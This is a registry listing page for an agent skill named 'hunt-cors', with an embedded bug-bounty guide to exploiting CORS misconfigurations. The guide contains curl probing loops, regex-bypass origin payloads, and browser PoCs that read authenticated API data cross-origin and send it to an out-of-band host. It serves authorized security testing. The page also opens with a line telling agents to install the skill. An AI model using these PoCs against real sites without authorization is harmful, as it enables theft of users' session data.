Use hunt-cors for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-cors
LLM text
/api/registry/manifest/elementalsouls-hunt-cors?format=text
Install alias
/api/registry/install/elementalsouls-hunt-cors
Recommend
/api/registry/recommend?task=Use%20hunt-cors%20in%20an%20agent%20workflow&limit=3
Agent fit
Browser automation
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Browser automation
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 634 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Turn skills into distribution
A workflow for turning newly indexed skills into SEO briefs, social drafts, comparison pages, and reusable publishing workflows.
Alternative shortlist
Similar skills that may fit this task.
Apache ECharts is a powerful, interactive charting and data visualization library for browser
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
Apache Superset is a Data Visualization and Data Exploration Platform
--- name: hunt-cors description: "Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers." report_count: 19 sources: hackerone_public ---
# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
## What actually pays (and what does not)
CORS pays High **only** when an attacker-controlled origin can perform a **credentialed** cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from `evil.com`.
Two hard browser rules that kill most "findings" — check these FIRST:
- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.** If the server returns `ACAO: *`, the browser refuses to send/expose the response for a `credentials: include` request. A wildcard-only endpoint is **not** credential-exploitable. It is only interesting if the data it serves is sensitive *without* a session (rare) — usually this is Informational/Low. - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It matters only if `ACAO` reflects/allows your specific attacker origin AND a cross-origin credentialed `fetch` actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.
If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.
---
## Crown Jewel Targets
- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND sets `ACAC: true` → any site reads authed API responses. The classic High. - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a `data:`/redirect chain) emits `Origin: null`, so any page can read authed data. - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The correct payload depends on *which* flaw (see Phase 3 — this is where most skills get it wrong). - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain). - **postMessage missing/loose origin check** — handler that processes `event.data` without strictly validating `event.origin`.
---
## Attack Surface Signals
``` Any endpoint returning an Access-Control-Allow-Origin header API endpoints: /api/*, /v1/*, /graphql Profile/account: /api/me, /api/profile, /api/user, /api/session Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings Financial: /api/balance, /api/transactions Admin/internal: /api/admin/*, /api/internal/* ```
Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.
---
## Step-by-Step Hunting Methodology
### Phase 1 — Discover CORS endpoints ```bash # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET, # and -I sends HEAD which may be handled differently. while read url; do result=$(curl -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < recon/$TARGET/api-endpoints.txt
# httpx bulk check cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin" ```
### Phase 2 — Reflect-any-origin + null origin ```bash # Does the server reflect an arbitrary Origin back? curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case): # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin # Access-Control-Allow-Credentials: true <- + credentials => readable # # NOT exploitable for credentialed theft: # Access-Control-Allow-Origin: * <- browser blocks creds read # (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: null" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control" # Looking for: Access-Control-Allow-Origin: null + ACAC: true ```
### Phase 3 — Subdomain / trusted-origin regex bypass The right payload depends on **which** regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.
| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why | |---|---|---|---| | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. | | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. | | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). | | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. | | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. | | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
```bash # Send each class-specific payload and watch what the server reflects. for ORIGIN in \ "https://evil.target.com" \ "https://eviltarget.com" \ "https://x.target.com.evil.com" \ "https://target.com.evil.com" \ "https://target.com%60.evil.com" \ "http://target.com"; do RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \ -H "Origin: $ORIGIN" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") echo "[$ORIGIN] -> ${RESULT:-no CORS}" done ``` A bypass is real only if the server reflects **your registerable origin** into `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
### Phase 3b — Trusted insecure (HTTP) origin If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw. ```bash curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control ``` Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
### Phase 4 — Pre-flight (OPTIONS) gating bypass Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:
1. **Does the pre-flight authorize arbitrary methods/headers for your origin?** If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).
```bash curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: PUT" \ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \ | grep -i "access-control" # Vulnerable: ACAO reflects evil.com + ACAC:true + # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth # => attacker origin can issue authed PUT/DELETE with custom headers. ```
2. **Is the pre-flight even enforced server-side?** Some servers reflect the origin on `OPTIONS` but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.
### Phase 5 — Browser PoCs (the only thing that proves impact) curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. **Every CORS High needs a browser PoC.**
**5a. Reflect-any-origin read** (host on evil.com, open while logged into target): ```html <!doctype html><body><pre id="out"></pre> <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => { document.getElementById("out").innerText = d; // prove readable body // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d)); }) .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e); </script></body> ``` If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner document must lack `allow-same-origin` so its origin is opaque (`null`): ```html <!doctype html><body> <!-- Outer page hosted anywhere --> <iframe sandbox="allow-scripts" srcdoc=' <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => parent.postMessage(d, "*")); </script>'></iframe> <script> window.addEventListener("message", e => { // d is the authed body, read cross-origin via a null Origin // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data)); console.log("NULL-ORIGIN READ:", e.data); }); </script></body> ``` (Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)
**5c. Trusted-subdomain read** — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host **5a** there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.
### Phase 6 — postMessage origin check ```bash # Find message handlers that don't strictly validate event.origin. grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \ | grep -v "\.origin" # Then audit each hit: does it check event.origin against an allowlist # BEFORE using event.data? Weak checks to flag: # .indexOf("target.com") > -1 <- "target.com.evil.com" passes # .endsWith("target.com") <- "eviltarget.com" passes # startsWith("https://target") <- "https://target.evil.com" passes # no check at all ``` postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.
---
## Automation (triage only — never the proof) ```bash # corsy — fast reflection/null/pre-domain checks pip3 install corsy corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates nuclei -u https://$TARGET -t http/misconfiguration/cors/
#
Source provenance
Decision snapshot
4,082 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-cors, ready for a manual X post.
hunt-cors: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x
Listing + install path for hunt-cors: https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Sandbox only
Echarts
Apache ECharts is a powerful, interactive charting and data visualization library for browser
67.2K StarsD3
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
113.1K StarsScientific Agent Skills
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
33.5K StarsSuperset
Apache Superset is a Data Visualization and Data Exploration Platform
74.7K StarsPermission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Strong README/SKILL.md context
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Strong README/SKILL.md context
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Strong README/SKILL.md context
Risk summary
Install readiness
Permission surface
secrets or environment access, shell or command execution
Agent outcomes
No agent outcome data yet
Docs
Strong README/SKILL.md context
Risk summary
Install readiness